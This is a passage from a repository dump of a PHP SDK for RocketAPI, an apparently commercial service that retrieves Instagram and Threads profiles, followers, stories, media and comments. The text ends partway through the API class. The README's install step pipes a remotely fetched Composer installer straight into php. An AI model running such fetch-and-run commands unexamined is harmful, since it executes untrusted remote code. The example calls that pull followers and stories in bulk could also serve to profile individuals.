├── .gitignore ├── README.md ├── composer.json ├── examples.php ├── examples_threads.php ├── license.txt └── src ├── Exceptions ├── BadResponseException.php └── NotFoundException.php ├── InstagramAPI.php ├── RocketAPI.php └── ThreadsAPI.php /.gitignore: -------------------------------------------------------------------------------- 1 | /vendor/ 2 | /composer.phar 3 | composer.lock 4 | .idea 5 | .pre-commit-config.yaml 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Introduction 2 | 3 | The official PHP library for using [RocketAPI](https://rocketapi.io). 4 | 5 | ## Installing 6 | 7 | The recommended way to install RocketAPI is through [Composer](https://getcomposer.org/). 8 | 9 | ```bash 10 | # Install Composer 11 | curl -sS https://getcomposer.org/installer | php 12 | ``` 13 | 14 | Next, run the Composer command to install the RocketAPI PHP Library: 15 | 16 | ```bash 17 | composer require rocketapi/rocketapi 18 | ``` 19 | 20 | After installing, you need to require Composer's autoloader: 21 | 22 | ```php 23 | require 'vendor/autoload.php'; 24 | use RocketAPI\InstagramAPI; 25 | ``` 26 | 27 | ## Usage 28 | 29 | See the [documentation](https://docs.rocketapi.io) for more information. 30 | -------------------------------------------------------------------------------- /composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "rocketapi/rocketapi", 3 | "description": "RocketAPI PHP SDK", 4 | "license": "MIT", 5 | "authors": [ 6 | { 7 | "name": "RocketAPI" 8 | } 9 | ], 10 | "minimum-stability": "stable", 11 | "require": { 12 | "ext-curl": "*", 13 | "ext-json": "*" 14 | }, 15 | "autoload": { 16 | "psr-4": { 17 | "RocketAPI\\": "src/" 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /examples.php: -------------------------------------------------------------------------------- 1 | searchUsers('nike'); 17 | print_r($results); 18 | } catch (Exception $e) { 19 | echo "Error: " . $e->getMessage() . "\n"; 20 | } 21 | 22 | // Search for hashtags 23 | try { 24 | echo "\n=== Search Hashtags ===\n"; 25 | $results = $api->searchHashtags('travel'); 26 | print_r($results); 27 | } catch (Exception $e) { 28 | echo "Error: " . $e->getMessage() . "\n"; 29 | } 30 | 31 | // Search for locations 32 | try { 33 | echo "\n=== Search Locations ===\n"; 34 | $results = $api->searchLocations('new york'); 35 | print_r($results); 36 | } catch (Exception $e) { 37 | echo "Error: " . $e->getMessage() . "\n"; 38 | } 39 | 40 | // Search for audio tracks 41 | try { 42 | echo "\n=== Search Audios ===\n"; 43 | $results = $api->searchAudios('imagine dragons'); 44 | print_r($results); 45 | } catch (Exception $e) { 46 | echo "Error: " . $e->getMessage() . "\n"; 47 | } 48 | 49 | // Search for clips 50 | try { 51 | echo "\n=== Search Clips ===\n"; 52 | $results = $api->searchClips('real estate'); 53 | print_r($results); 54 | 55 | // Example with pagination 56 | if (isset($results['reels_max_id'])) { 57 | echo "\n=== Search Clips (Page 2) ===\n"; 58 | $max_id = $results['reels_max_id']; 59 | $nextPageResults = $api->searchClips('real estate', $max_id); 60 | print_r($nextPageResults); 61 | } 62 | } catch (Exception $e) { 63 | echo "Error: " . $e->getMessage() . "\n"; 64 | } 65 | 66 | // ===== USER METHODS ===== 67 | 68 | // Get user web profile information by username 69 | try { 70 | echo "\n=== Get Web Profile Info ===\n"; 71 | $username = 'kyliejenner'; 72 | $results = $api->getWebProfileInfo($username); 73 | print_r($results); 74 | } catch (Exception $e) { 75 | echo "Error: " . $e->getMessage() . "\n"; 76 | } 77 | 78 | // Get user information by ID 79 | try { 80 | echo "\n=== Get User Info By ID ===\n"; 81 | $user_id = '25025320'; // Example user ID 82 | $results = $api->getUserInfoById($user_id); 83 | print_r($results); 84 | } catch (Exception $e) { 85 | echo "Error: " . $e->getMessage() . "\n"; 86 | } 87 | 88 | // Get user media by ID 89 | try { 90 | echo "\n=== Get User Media ===\n"; 91 | $user_id = '25025320'; // Example user ID 92 | $count = 12; 93 | $results = $api->getUserMedia($user_id, $count); 94 | print_r($results); 95 | 96 | // Example with pagination 97 | if (isset($results['next_max_id'])) { 98 | echo "\n=== Get User Media (Page 2) ===\n"; 99 | $max_id = $results['next_max_id']; 100 | $nextPageResults = $api->getUserMedia($user_id, $count, $max_id); 101 | print_r($nextPageResults); 102 | } 103 | } catch (Exception $e) { 104 | echo "Error: " . $e->getMessage() . "\n"; 105 | } 106 | 107 | // Get user media by username 108 | try { 109 | echo "\n=== Get User Media By Username ===\n"; 110 | $username = 'kyliejenner'; 111 | $count = 12; 112 | $results = $api->getUserMediaByUsername($username, $count); 113 | print_r($results); 114 | 115 | // Example with pagination 116 | if (isset($results['next_max_id'])) { 117 | echo "\n=== Get User Media By Username (Page 2) ===\n"; 118 | $max_id = $results['next_max_id']; 119 | $nextPageResults = $api->getUserMediaByUsername($username, $count, $max_id); 120 | print_r($nextPageResults); 121 | } 122 | } catch (Exception $e) { 123 | echo "Error: " . $e->getMessage() . "\n"; 124 | } 125 | 126 | // Get user clips by ID 127 | try { 128 | echo "\n=== Get User Clips ===\n"; 129 | $user_id = '25025320'; // Example user ID 130 | $count = 12; 131 | $results = $api->getUserClips($user_id, $count); 132 | print_r($results); 133 | 134 | // Example with pagination 135 | if (isset($results['next_max_id'])) { 136 | echo "\n=== Get User Clips (Page 2) ===\n"; 137 | $max_id = $results['next_max_id']; 138 | $nextPageResults = $api->getUserClips($user_id, $count, $max_id); 139 | print_r($nextPageResults); 140 | } 141 | } catch (Exception $e) { 142 | echo "Error: " . $e->getMessage() . "\n"; 143 | } 144 | 145 | // Get user tags 146 | try { 147 | echo "\n=== Get User Tags ===\n"; 148 | $user_id = '25025320'; // Example user ID 149 | $count = 12; 150 | $results = $api->getUserTags($user_id, $count); 151 | print_r($results); 152 | 153 | // Example with pagination 154 | if (isset($results['next_max_id'])) { 155 | echo "\n=== Get User Tags (Page 2) ===\n"; 156 | $max_id = $results['next_max_id']; 157 | $nextPageResults = $api->getUserTags($user_id, $count, $max_id); 158 | print_r($nextPageResults); 159 | } 160 | } catch (Exception $e) { 161 | echo "Error: " . $e->getMessage() . "\n"; 162 | } 163 | 164 | // Get user following 165 | try { 166 | echo "\n=== Get User Following ===\n"; 167 | $user_id = '25025320'; // Example user ID 168 | $count = 12; 169 | $results = $api->getUserFollowing($user_id, $count); 170 | print_r($results); 171 | 172 | // Example with pagination 173 | if (isset($results['next_max_id'])) { 174 | echo "\n=== Get User Following (Page 2) ===\n"; 175 | $max_id = $results['next_max_id']; 176 | $nextPageResults = $api->getUserFollowing($user_id, $count, $max_id); 177 | print_r($nextPageResults); 178 | } 179 | } catch (Exception $e) { 180 | echo "Error: " . $e->getMessage() . "\n"; 181 | } 182 | 183 | // Search user following by query 184 | try { 185 | echo "\n=== Search User Following ===\n"; 186 | $user_id = '25025320'; // Example user ID 187 | $query = 'john'; 188 | $results = $api->searchUserFollowing($user_id, $query); 189 | print_r($results); 190 | } catch (Exception $e) { 191 | echo "Error: " . $e->getMessage() . "\n"; 192 | } 193 | 194 | // Get user followers 195 | try { 196 | echo "\n=== Get User Followers ===\n"; 197 | $user_id = '25025320'; // Example user ID 198 | $count = 12; 199 | $results = $api->getUserFollowers($user_id, $count); 200 | print_r($results); 201 | 202 | // Example with pagination 203 | if (isset($results['next_max_id'])) { 204 | echo "\n=== Get User Followers (Page 2) ===\n"; 205 | $max_id = $results['next_max_id']; 206 | $nextPageResults = $api->getUserFollowers($user_id, $count, $max_id); 207 | print_r($nextPageResults); 208 | } 209 | } catch (Exception $e) { 210 | echo "Error: " . $e->getMessage() . "\n"; 211 | } 212 | 213 | // Search user followers by query 214 | try { 215 | echo "\n=== Search User Followers ===\n"; 216 | $user_id = '25025320'; // Example user ID 217 | $query = 'john'; 218 | $results = $api->searchUserFollowers($user_id, $query); 219 | print_r($results); 220 | } catch (Exception $e) { 221 | echo "Error: " . $e->getMessage() . "\n"; 222 | } 223 | 224 | // Get user stories 225 | try { 226 | echo "\n=== Get User Stories ===\n"; 227 | $user_id = '25025320'; // Example user ID 228 | $results = $api->getUserStories($user_id); 229 | print_r($results); 230 | } catch (Exception $e) { 231 | echo "Error: " . $e->getMessage() . "\n"; 232 | } 233 | 234 | // Get stories for multiple users at once 235 | try { 236 | echo "\n=== Get User Stories Bulk ===\n"; 237 | $user_ids = ['25025320', '18428658']; // Example user IDs 238 | $results = $api->getUserStoriesBulk($user_ids); 239 | print_r($results); 240 | } catch (Exception $e) { 241 | echo "Error: " . $e->getMessage() . "\n"; 242 | } 243 | 244 | // Get user highlights 245 | try { 246 | echo "\n=== Get User Highlights ===\n"; 247 | $user_id = '25025320'; // Example user ID 248 | $results = $api->getUserHighlights($user_id); 249 | print_r($results); 250 | } catch (Exception $e) { 251 | echo "Error: " . $e->getMessage() . "\n"; 252 | } 253 | 254 | // Get user live info 255 | try { 256 | echo "\n=== Get User Live ===\n"; 257 | $user_id = '25025320'; // Example user ID 258 | $results = $api->getUserLive($user_id); 259 | print_r($results); 260 | } catch (Exception $e) { 261 | echo "Error: " . $e->getMessage() . "\n"; 262 | } 263 | 264 | // Get similar accounts to user 265 | try { 266 | echo "\n=== Get User Similar Accounts ===\n"; 267 | $user_id = '25025320'; // Example user ID 268 | $results = $api->getUserSimilarAccounts($user_id); 269 | print_r($results); 270 | } catch (Exception $e) { 271 | echo "Error: " . $e->getMessage() . "\n"; 272 | } 273 | 274 | // Get user about info 275 | try { 276 | echo "\n=== Get User About ===\n"; 277 | $user_id = '25025320'; // Example user ID 278 | $results = $api->getUserAbout($user_id); 279 | print_r($results); 280 | } catch (Exception $e) { 281 | echo "Error: " . $e->getMessage() . "\n"; 282 | } 283 | 284 | // ===== MEDIA METHODS ===== 285 | 286 | // Get media info by ID 287 | try { 288 | echo "\n=== Get Media Info ===\n"; 289 | $media_id = '3615001108693103689'; // Example media ID 290 | $results = $api->getMediaInfo($media_id); 291 | print_r($results); 292 | } catch (Exception $e) { 293 | echo "Error: " . $e->getMessage() . "\n"; 294 | } 295 | 296 | // Get media info by shortcode 297 | try { 298 | echo "\n=== Get Media Info By Shortcode ===\n"; 299 | $shortcode = 'DIrEFryS7RJ'; // Example shortcode 300 | $results = $api->getMediaInfoByShortcode($shortcode); 301 | print_r($results); 302 | } catch (Exception $e) { 303 | echo "Error: " . $e->getMessage() . "\n"; 304 | } 305 | 306 | // Get media likes by shortcode 307 | try { 308 | echo "\n=== Get Media Likes By Shortcode ===\n"; 309 | $shortcode = 'DIrEFryS7RJ'; // Example shortcode 310 | $results = $api->getMediaLikesByShortcode($shortcode); 311 | print_r($results); 312 | } catch (Exception $e) { 313 | echo "Error: " . $e->getMessage() . "\n"; 314 | } 315 | 316 | // Get media likes by ID 317 | try { 318 | echo "\n=== Get Media Likes By ID ===\n"; 319 | $media_id = '3615001108693103689'; // Example media ID 320 | $results = $api->getMediaLikesById($media_id); 321 | print_r($results); 322 | } catch (Exception $e) { 323 | echo "Error: " . $e->getMessage() . "\n"; 324 | } 325 | 326 | // Get media comments 327 | try { 328 | echo "\n=== Get Media Comments ===\n"; 329 | $media_id = '3615001108693103689'; // Example media ID 330 | $can_support_threading = true; 331 | $results = $api->getMediaComments($media_id, $can_support_threading); 332 | print_r($results); 333 | 334 | // Example with pagination 335 | if (isset($results['min_id'])) { 336 | echo "\n=== Get Media Comments (Page 2) ===\n"; 337 | $min_id = $results['min_id']; 338 | $nextPageResults = $api->getMediaComments($media_id, $can_support_threading, $min_id); 339 | print_r($nextPageResults); 340 | } 341 | } catch (Exception $e) { 342 | echo "Error: " . $e->getMessage() . "\n"; 343 | } 344 | 345 | // Get media shortcode by ID 346 | try { 347 | echo "\n=== Get Media Shortcode By ID ===\n"; 348 | $media_id = '3615001108693103689'; // Example media ID 349 | $results = $api->getMediaShortcodeById($media_id); 350 | print_r($results); 351 | } catch (Exception $e) { 352 | echo "Error: " . $e->getMessage() . "\n"; 353 | } 354 | 355 | // Get media ID by shortcode 356 | try { 357 | echo "\n=== Get Media ID By Shortcode ===\n"; 358 | $shortcode = 'DIrEFryS7RJ'; // Example shortcode 359 | $results = $api->getMediaIdByShortcode($shortcode); 360 | print_r($results); 361 | } catch (Exception $e) { 362 | echo "Error: " . $e->getMessage() . "\n"; 363 | } 364 | 365 | // Get media ID by share code 366 | try { 367 | echo "\n=== Get Media ID By Share ===\n"; 368 | $share_code = '_sXbUiogP'; // Example share code 369 | $results = $api->getMediaIdByShare($share_code); 370 | print_r($results); 371 | } catch (Exception $e) { 372 | echo "Error: " . $e->getMessage() . "\n"; 373 | } 374 | 375 | // ===== HASHTAG, LOCATION, GUIDE METHODS ===== 376 | 377 | // Get hashtag info 378 | try { 379 | echo "\n=== Get Hashtag Info ===\n"; 380 | $hashtag = 'travel'; // Example hashtag (without #) 381 | $results = $api->getHashtagInfo($hashtag); 382 | print_r($results); 383 | } catch (Exception $e) { 384 | echo "Error: " . $e->getMessage() . "\n"; 385 | } 386 | 387 | // Get hashtag media 388 | try { 389 | echo "\n=== Get Hashtag Media ===\n"; 390 | $hashtag = 'travel'; // Example hashtag (without #) 391 | $page = null; 392 | $max_id = null; 393 | $tab = 'recent'; // Options: recent, top, clips 394 | $results = $api->getHashtagMedia($hashtag, $page, $max_id, $tab); 395 | print_r($results); 396 | 397 | // Example with pagination 398 | if (isset($results['next_page']) && isset($results['next_max_id'])) { 399 | echo "\n=== Get Hashtag Media (Page 2) ===\n"; 400 | $next_page = $results['next_page']; 401 | $next_max_id = $results['next_max_id']; 402 | $nextPageResults = $api->getHashtagMedia($hashtag, $next_page, $next_max_id, $tab); 403 | print_r($nextPageResults); 404 | } 405 | } catch (Exception $e) { 406 | echo "Error: " . $e->getMessage() . "\n"; 407 | } 408 | 409 | // Get location info 410 | try { 411 | echo "\n=== Get Location Info ===\n"; 412 | $location_id = '212988663'; // Example location id 413 | $results = $api->getLocationInfo($location_id); 414 | print_r($results); 415 | } catch (Exception $e) { 416 | echo "Error: " . $e->getMessage() . "\n"; 417 | } 418 | 419 | // Get location media 420 | try { 421 | echo "\n=== Get Location Media ===\n"; 422 | $location_id = '212988663'; // Example location id 423 | $page = null; 424 | $max_id = null; 425 | $tab = 'recent'; // Options: recent, top 426 | $results = $api->getLocationMedia($location_id, $page, $max_id, $tab); 427 | print_r($results); 428 | 429 | // Example with pagination 430 | if (isset($results['next_page']) && isset($results['next_max_id'])) { 431 | echo "\n=== Get Location Media (Page 2) ===\n"; 432 | $next_page = $results['next_page']; 433 | $next_max_id = $results['next_max_id']; 434 | $nextPageResults = $api->getLocationMedia($location_id, $next_page, $next_max_id, $tab); 435 | print_r($nextPageResults); 436 | } 437 | } catch (Exception $e) { 438 | echo "Error: " . $e->getMessage() . "\n"; 439 | } 440 | 441 | // ===== HIGHLIGHT, COMMENT, AUDIO METHODS ===== 442 | 443 | // Get highlight stories (note: requires a valid highlight ID) 444 | try { 445 | echo "\n=== Get Highlight Stories ===\n"; 446 | $highlight_id = '17946349633565357'; // Example highlight ID - you need to get this from getUserHighlights 447 | $results = $api->getHighlightStories($highlight_id); 448 | print_r($results); 449 | } catch (Exception $e) { 450 | echo "Error: " . $e->getMessage() . "\n"; 451 | } 452 | 453 | // Get multiple highlights at once 454 | try { 455 | echo "\n=== Get Highlight Stories Bulk ===\n"; 456 | $highlight_ids = ['17946349633565357', '17873483110906121']; // Example highlight IDs 457 | $results = $api->getHighlightStoriesBulk($highlight_ids); 458 | print_r($results); 459 | } catch (Exception $e) { 460 | echo "Error: " . $e->getMessage() . "\n"; 461 | } 462 | 463 | // Get comment likes 464 | try { 465 | echo "\n=== Get Comment Likes ===\n"; 466 | $comment_id = '18098497840546757'; // Example comment ID 467 | $results = $api->getCommentLikes($comment_id); 468 | print_r($results); 469 | 470 | // Example with pagination 471 | if (isset($results['next_max_id'])) { 472 | echo "\n=== Get Comment Likes (Page 2) ===\n"; 473 | $next_max_id = $results['next_max_id']; 474 | $nextPageResults = $api->getCommentLikes($comment_id, $next_max_id); 475 | print_r($nextPageResults); 476 | } 477 | } catch (Exception $e) { 478 | echo "Error: " . $e->getMessage() . "\n"; 479 | } 480 | 481 | // Get comment replies 482 | try { 483 | echo "\n=== Get Comment Replies ===\n"; 484 | $comment_id = '18098497840546757'; // Example comment ID 485 | $media_id = '3615001108693103689'; // Example media ID 486 | $results = $api->getCommentReplies($comment_id, $media_id); 487 | print_r($results); 488 | 489 | // Example with pagination 490 | if (isset($results['next_max_child_cursor'])) { 491 | echo "\n=== Get Comment Replies (Page 2) ===\n"; 492 | $next_max_child_cursor = $results['next_max_child_cursor']; 493 | $nextPageResults = $api->getCommentReplies($comment_id, $media_id, $next_max_child_cursor); 494 | print_r($nextPageResults); 495 | } 496 | } catch (Exception $e) { 497 | echo "Error: " . $e->getMessage() . "\n"; 498 | } 499 | 500 | // Get audio media 501 | try { 502 | echo "\n=== Get Audio Media ===\n"; 503 | $audio_id = '953905166868649'; // Example audio ID 504 | $results = $api->getAudioMedia($audio_id); 505 | print_r($results); 506 | 507 | // Example with pagination 508 | if (isset($results['next_max_id'])) { 509 | echo "\n=== Get Audio Media (Page 2) ===\n"; 510 | $next_max_id = $results['next_max_id']; 511 | $nextPageResults = $api->getAudioMedia($audio_id, $next_max_id); 512 | print_r($nextPageResults); 513 | } 514 | } catch (Exception $e) { 515 | echo "Error: " . $e->getMessage() . "\n"; 516 | } 517 | 518 | // Get audio media by canonical id 519 | try { 520 | echo "\n=== Get Audio Media By Canonical ID ===\n"; 521 | $audio_canonical_id = '18332183866113637'; // Example canonical ID 522 | $results = $api->getAudioMediaByCanonicalId($audio_canonical_id); 523 | print_r($results); 524 | 525 | // Example with pagination 526 | if (isset($results['next_max_id'])) { 527 | echo "\n=== Get Audio Media By Canonical ID (Page 2) ===\n"; 528 | $next_max_id = $results['next_max_id']; 529 | $nextPageResults = $api->getAudioMediaByCanonicalId($audio_canonical_id, $next_max_id); 530 | print_r($nextPageResults); 531 | } 532 | } catch (Exception $e) { 533 | echo "Error: " . $e->getMessage() . "\n"; 534 | } 535 | 536 | // Get live info (note: requires a valid broadcast id) 537 | try { 538 | echo "\n=== Get Live Info ===\n"; 539 | $broadcast_id = '18033634542295083'; // Example broadcast id 540 | $results = $api->getLiveInfo($broadcast_id); 541 | print_r($results); 542 | } catch (Exception $e) { 543 | echo "Error: " . $e->getMessage() . "\n"; 544 | } 545 | -------------------------------------------------------------------------------- /examples_threads.php: -------------------------------------------------------------------------------- 1 | getUserFeed($user_id); 15 | print_r($user); 16 | } catch (RocketAPI\Exceptions\NotFoundException $e) { 17 | echo "User $user_id not found\n"; 18 | } catch (RocketAPI\Exceptions\BadResponseException $e) { 19 | echo "Can't get $user_id feed from API\n"; 20 | } 21 | -------------------------------------------------------------------------------- /license.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 rocketapi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/Exceptions/BadResponseException.php: -------------------------------------------------------------------------------- 1 | request('instagram/search', [ 51 | 'query' => $query, 52 | ]); 53 | } 54 | 55 | /** 56 | * Retrieve user web profile information by username. 57 | * 58 | * @param string $username Username 59 | * @throws Exceptions\NotFoundException 60 | * @throws Exceptions\BadResponseException 61 | * 62 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_web_profile_info 63 | */ 64 | public function getWebProfileInfo($username) { 65 | return $this->request('instagram/user/get_web_profile_info', [ 66 | 'username' => $username, 67 | ]); 68 | } 69 | 70 | /** 71 | * Retrieve user web profile information by username. 72 | * 73 | * This is an alias for getWebProfileInfo to maintain backward compatibility. 74 | * 75 | * @param string $username Username 76 | * @throws Exceptions\NotFoundException 77 | * @throws Exceptions\BadResponseException 78 | * 79 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_web_profile_info 80 | */ 81 | public function getUserInfo($username) { 82 | return $this->getWebProfileInfo($username); 83 | } 84 | 85 | /** 86 | * Retrieve user information by id. 87 | * 88 | * @param int $user_id User id 89 | * @throws Exceptions\NotFoundException 90 | * @throws Exceptions\BadResponseException 91 | * 92 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_info_by_id 93 | */ 94 | public function getUserInfoById($user_id) { 95 | return $this->request('instagram/user/get_info_by_id', [ 96 | 'id' => $user_id, 97 | ]); 98 | } 99 | 100 | /** 101 | * Retrieve user media by id. 102 | * 103 | * @param int $user_id User id 104 | * @param int $count Number of media to retrieve (max: 12) 105 | * @param string|null $max_id Use for pagination 106 | * @throws Exceptions\NotFoundException 107 | * @throws Exceptions\BadResponseException 108 | * 109 | * You can use the `max_id` parameter to paginate through the media (take from the `next_max_id` field of the response). 110 | * 111 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_media 112 | */ 113 | public function getUserMedia($user_id, $count=12, $max_id=null) { 114 | $payload = ['id' => $user_id, 'count' => $count]; 115 | if ($max_id) { 116 | $payload['max_id'] = $max_id; 117 | } 118 | return $this->request('instagram/user/get_media', $payload); 119 | } 120 | 121 | /** 122 | * Retrieve user media by username. 123 | * 124 | * @param string $username Username 125 | * @param int $count Number of media to retrieve (max: 12) 126 | * @param string|null $max_id Use for pagination 127 | * @throws Exceptions\NotFoundException 128 | * @throws Exceptions\BadResponseException 129 | * 130 | * You can use the `max_id` parameter to paginate through the media (take from the `next_max_id` field of the response). 131 | * 132 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_media_by_username 133 | */ 134 | public function getUserMediaByUsername($username, $count=12, $max_id=null) { 135 | $payload = ['username' => $username, 'count' => $count]; 136 | if ($max_id) { 137 | $payload['max_id'] = $max_id; 138 | } 139 | return $this->request('instagram/user/get_media_by_username', $payload); 140 | } 141 | 142 | /** 143 | * Retrieve user clips by id. 144 | * 145 | * @param int $user_id User id 146 | * @param int $count Number of clips to retrieve (max: 12) 147 | * @param string|null $max_id Use for pagination 148 | * @throws Exceptions\NotFoundException 149 | * @throws Exceptions\BadResponseException 150 | * 151 | * You can use the `max_id` parameter to paginate through the clips (take from the `max_id` field of the response). 152 | * 153 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_clips 154 | */ 155 | public function getUserClips($user_id, $count=12, $max_id=null) { 156 | $payload = ['id' => $user_id, 'count' => $count]; 157 | if ($max_id) { 158 | $payload['max_id'] = $max_id; 159 | } 160 | return $this->request('instagram/user/get_clips', $payload); 161 | } 162 | 163 | /** 164 | * Retrieve user guides by id. 165 | * 166 | * @param int $user_id User id 167 | * @param string|null $max_id Use for pagination 168 | * @throws Exceptions\NotFoundException 169 | * @throws Exceptions\BadResponseException 170 | * 171 | * You can use the `max_id` parameter to paginate through the guides (take from the `next_max_id` field of the response). 172 | * 173 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_guides 174 | */ 175 | public function getUserGuides($user_id, $max_id=null) { 176 | $payload = ['id' => $user_id]; 177 | if ($max_id) { 178 | $payload['max_id'] = $max_id; 179 | } 180 | return $this->request('instagram/user/get_guides', $payload); 181 | } 182 | 183 | /** 184 | * Retrieve media where user is tagged. 185 | * 186 | * @param int $user_id User id 187 | * @param int $count Number of tagged media to retrieve (max: 12) 188 | * @param string|null $max_id Use for pagination 189 | * @throws Exceptions\NotFoundException 190 | * @throws Exceptions\BadResponseException 191 | * 192 | * You can use the `max_id` parameter to paginate through the tagged media (take from the end_cursor field of the response). 193 | * 194 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_tags 195 | */ 196 | public function getUserTags($user_id, $count=12, $max_id=null) { 197 | $payload = ['id' => $user_id, 'count' => $count]; 198 | if ($max_id) { 199 | $payload['max_id'] = $max_id; 200 | } 201 | return $this->request('instagram/user/get_tags', $payload); 202 | } 203 | 204 | /** 205 | * Retrieve list of users that a specific user is following. 206 | * 207 | * @param int $user_id User id 208 | * @param int $count Number of followings to retrieve (max: 12) 209 | * @param string|null $max_id Use for pagination 210 | * @throws Exceptions\NotFoundException 211 | * @throws Exceptions\BadResponseException 212 | * 213 | * You can use the `max_id` parameter to paginate through the following list (take from the `next_max_id` field of the response). 214 | * 215 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_following 216 | */ 217 | public function getUserFollowing($user_id, $count=12, $max_id=null) { 218 | $payload = ['id' => $user_id, 'count' => $count]; 219 | if ($max_id) { 220 | $payload['max_id'] = $max_id; 221 | } 222 | return $this->request('instagram/user/get_following', $payload); 223 | } 224 | 225 | /** 226 | * Retrieve list of users that follow a specific user. 227 | * 228 | * @param int $user_id User id 229 | * @param int $count Number of followers to retrieve (max: 12) 230 | * @param string|null $max_id Use for pagination 231 | * @throws Exceptions\NotFoundException 232 | * @throws Exceptions\BadResponseException 233 | * 234 | * You can use the `max_id` parameter to paginate through the followers list (take from the `next_max_id` field of the response). 235 | * 236 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_followers 237 | */ 238 | public function getUserFollowers($user_id, $count=12, $max_id=null) 239 | { 240 | $payload = ['id' => $user_id, 'count' => $count]; 241 | if ($max_id) { 242 | $payload['max_id'] = $max_id; 243 | } 244 | return $this->request('instagram/user/get_followers', $payload); 245 | } 246 | 247 | /** 248 | * Search for specific followers of a user by query. 249 | * 250 | * @param int $user_id User id 251 | * @param string $query The search query 252 | * @throws Exceptions\NotFoundException 253 | * @throws Exceptions\BadResponseException 254 | * 255 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_followers 256 | */ 257 | public function searchUserFollowers($user_id, $query) { 258 | return $this->request('instagram/user/get_followers', [ 259 | 'id' => $user_id, 260 | 'query' => $query, 261 | ]); 262 | } 263 | 264 | /** 265 | * Search for specific following of a user by query. 266 | * 267 | * @param int $user_id User id 268 | * @param string $query The search query 269 | * @throws Exceptions\NotFoundException 270 | * @throws Exceptions\BadResponseException 271 | * 272 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_following 273 | */ 274 | public function searchUserFollowing($user_id, $query) { 275 | return $this->request('instagram/user/get_following', [ 276 | 'id' => $user_id, 277 | 'query' => $query, 278 | ]); 279 | } 280 | 281 | /** 282 | * Retrieve stories for multiple users at once. 283 | * 284 | * @param array $user_ids Array of user IDs 285 | * @throws Exceptions\NotFoundException 286 | * @throws Exceptions\BadResponseException 287 | * 288 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_stories 289 | */ 290 | public function getUserStoriesBulk($user_ids) { 291 | return $this->request('instagram/user/get_stories', [ 292 | 'ids' => $user_ids, 293 | ]); 294 | } 295 | 296 | /** 297 | * Retrieve stories for a single user. 298 | * 299 | * @param int $user_id User ID 300 | * @throws Exceptions\NotFoundException 301 | * @throws Exceptions\BadResponseException 302 | * 303 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_stories 304 | */ 305 | public function getUserStories($user_id) { 306 | return $this->getUserStoriesBulk([$user_id]); 307 | } 308 | 309 | /** 310 | * Retrieve highlights for a user profile. 311 | * 312 | * @param int $user_id User ID 313 | * @throws Exceptions\NotFoundException 314 | * @throws Exceptions\BadResponseException 315 | * 316 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_highlights 317 | */ 318 | public function getUserHighlights($user_id) { 319 | return $this->request('instagram/user/get_highlights', [ 320 | 'id' => $user_id, 321 | ]); 322 | } 323 | 324 | /** 325 | * Retrieve information about user's live broadcast if available. 326 | * 327 | * @param int $user_id User ID 328 | * @throws Exceptions\NotFoundException 329 | * @throws Exceptions\BadResponseException 330 | * 331 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_live 332 | */ 333 | public function getUserLive($user_id) { 334 | return $this->request('instagram/user/get_live', [ 335 | 'id' => $user_id, 336 | ]); 337 | } 338 | 339 | /** 340 | * Retrieve similar accounts to a specific user. 341 | * 342 | * @param int $user_id User ID 343 | * @throws Exceptions\NotFoundException 344 | * @throws Exceptions\BadResponseException 345 | * 346 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/user/get_similar_accounts 347 | */ 348 | public function getUserSimilarAccounts($user_id) { 349 | return $this->request('instagram/user/get_similar_accounts', [ 350 | 'id' => $user_id, 351 | ]); 352 | } 353 | 354 | /** 355 | * Retrieve media information by ID. 356 | * 357 | * @param string $media_id Media ID 358 | * @throws Exceptions\NotFoundException 359 | * @throws Exceptions\BadResponseException 360 | * 361 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_info 362 | */ 363 | public function getMediaInfo($media_id) { 364 | return $this->request('instagram/media/get_info', [ 365 | 'id' => $media_id, 366 | ]); 367 | } 368 | 369 | /** 370 | * Retrieve media information by shortcode. 371 | * 372 | * @param string $shortcode Media shortcode 373 | * @throws Exceptions\NotFoundException 374 | * @throws Exceptions\BadResponseException 375 | * 376 | * For more information, see documentation: https://docs.rocketapi.io/api/instagram/media/get_info_by_shortcode 377 | */ 378 | public function 